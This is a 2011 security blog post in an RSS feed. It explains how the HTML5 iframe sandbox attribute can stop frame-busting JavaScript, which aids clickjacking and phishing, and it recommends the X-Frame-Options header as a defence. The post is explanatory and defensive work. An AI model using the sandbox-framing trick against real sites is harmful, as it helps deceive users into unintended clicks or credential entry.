		<comments>http://www.idontplaydarts.com/2011/05/clickjacking-and-phishing-with-help-from-the-html5-javascript-sandbox/#comments</comments>
		<pubDate>Sun, 01 May 2011 05:36:19 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[HTML5]]></category>
		<category><![CDATA[Clickjacking]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[Sandbox]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=338</guid>
		<description><![CDATA[HTML5 has some nice new features one of which is JavaScript Sandboxing using iframes. Chrome is currently the only browser to support this but you can be sure others will soon follow. The sandbox allows control over what can be &#8230; <a href="http://www.idontplaydarts.com/2011/05/clickjacking-and-phishing-with-help-from-the-html5-javascript-sandbox/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">HTML5 has some nice new features one of which is <a href="http://blog.chromium.org/2010/05/security-in-depth-html5s-sandbox.html" rel="nofollow">JavaScript Sandboxing using iframes</a>. Chrome is currently the only browser to support this but you can be sure others will soon follow. The sandbox allows control over what can be executed within an iframe, it provides the following options.</p>
<ul>
<li><strong>allow-same-origin</strong> allows iframe content only from the same domain.</li>
<li><strong>allow-top-navigation</strong> allows the iframe to change the URI of the parent.</li>
<li><strong>allow-forms</strong> allows the use of forms inside the iframe.</li>
<li><strong>allow-scripts</strong> allows JavaScript to run inside the iframe.</li>
</ul>
<p>If no options are specified for the sandbox then the iframe can only display basic HTML. It can be implemented using the iframe sandbox property as follows:</p>
<pre class="brush: xml; title: ; notranslate">
&lt;iframe src=&quot;page.php&quot; sandbox=&quot;allow-forms allow-scripts&quot;&gt;
&lt;/iframe&gt;
</pre>
<p style="text-align: justify;">The feature is great for an attacker as it allows them to now include pages inside an iframe that previously had some Javascript iframe breakout code in place. This is great for <a href="https://www.owasp.org/index.php/Clickjacking"  rel="nofollow">Clickjacking</a> or <a href="http://www.contentverification.com/hidden-frame/" rel="nofollow">Phishing</a> attacks. Lets take a look the most popular way of breaking out of an iframe and show how by simply sandboxing the iframe we can prevent the JavaScript breakout code from working.</p>
<pre class="brush: xml; title: ; notranslate">
&lt;script type=&quot;text/javascript&quot;&gt;
	if (top.location!= self.location) {
		top.location = self.location.href
	}
&lt;/script&gt;
</pre>
<p style="text-align: justify;">And this method works great unless the script has been loaded in a sandboxed iframe that doesn&#8217;t have the sandboxing options &#8220;allow-top-navigation&#8221; and &#8220;allow-scripts&#8221; enabled. </p>
<p style="text-align: justify;">Without either of these options the script just wont work. The great thing is we have some level of granular control, you can have &#8220;allow-scripts&#8221; on your iframe (which will allow all the JavaScript found in the iframe to run) but you can omit the &#8220;allow-top-navigation&#8221; which will stop the JavaScript iframe breakout. </p>
<p style="text-align: justify;">There is an elegant solution to prevent this type of attack &#8211; the HTTP header &#8220;<a href="https://blog.mozilla.com/security/2010/09/08/x-frame-options/">X-Frame-Options</a>&#8221; &#8211; which is now supported in the latest versions of IE, Firefox, Safari and Chrome. It allows the server to specify if it should allow its content to be loaded from within an iframe by either pages from the same domain (SAMEORIGIN), or not at all (DENY). Surprisingly there aren&#8217;t many sites using it. </p>
<p style="text-align: justify;">If your running apache with mod_headers installed you can automatically add this header to all of your pages by adding the following lines to your apache.conf</p>
<pre class="brush: plain; title: ; notranslate">
Header always append X-Frame-Options SAMEORIGIN
</pre>
<p style="text-align: justify;">Don&#8217;t forget, X-Frame-Options isn&#8217;t supported in older browsers so its still worth keeping your existing JavaScript iframe breakout code in place.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/05/clickjacking-and-phishing-with-help-from-the-html5-javascript-sandbox/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

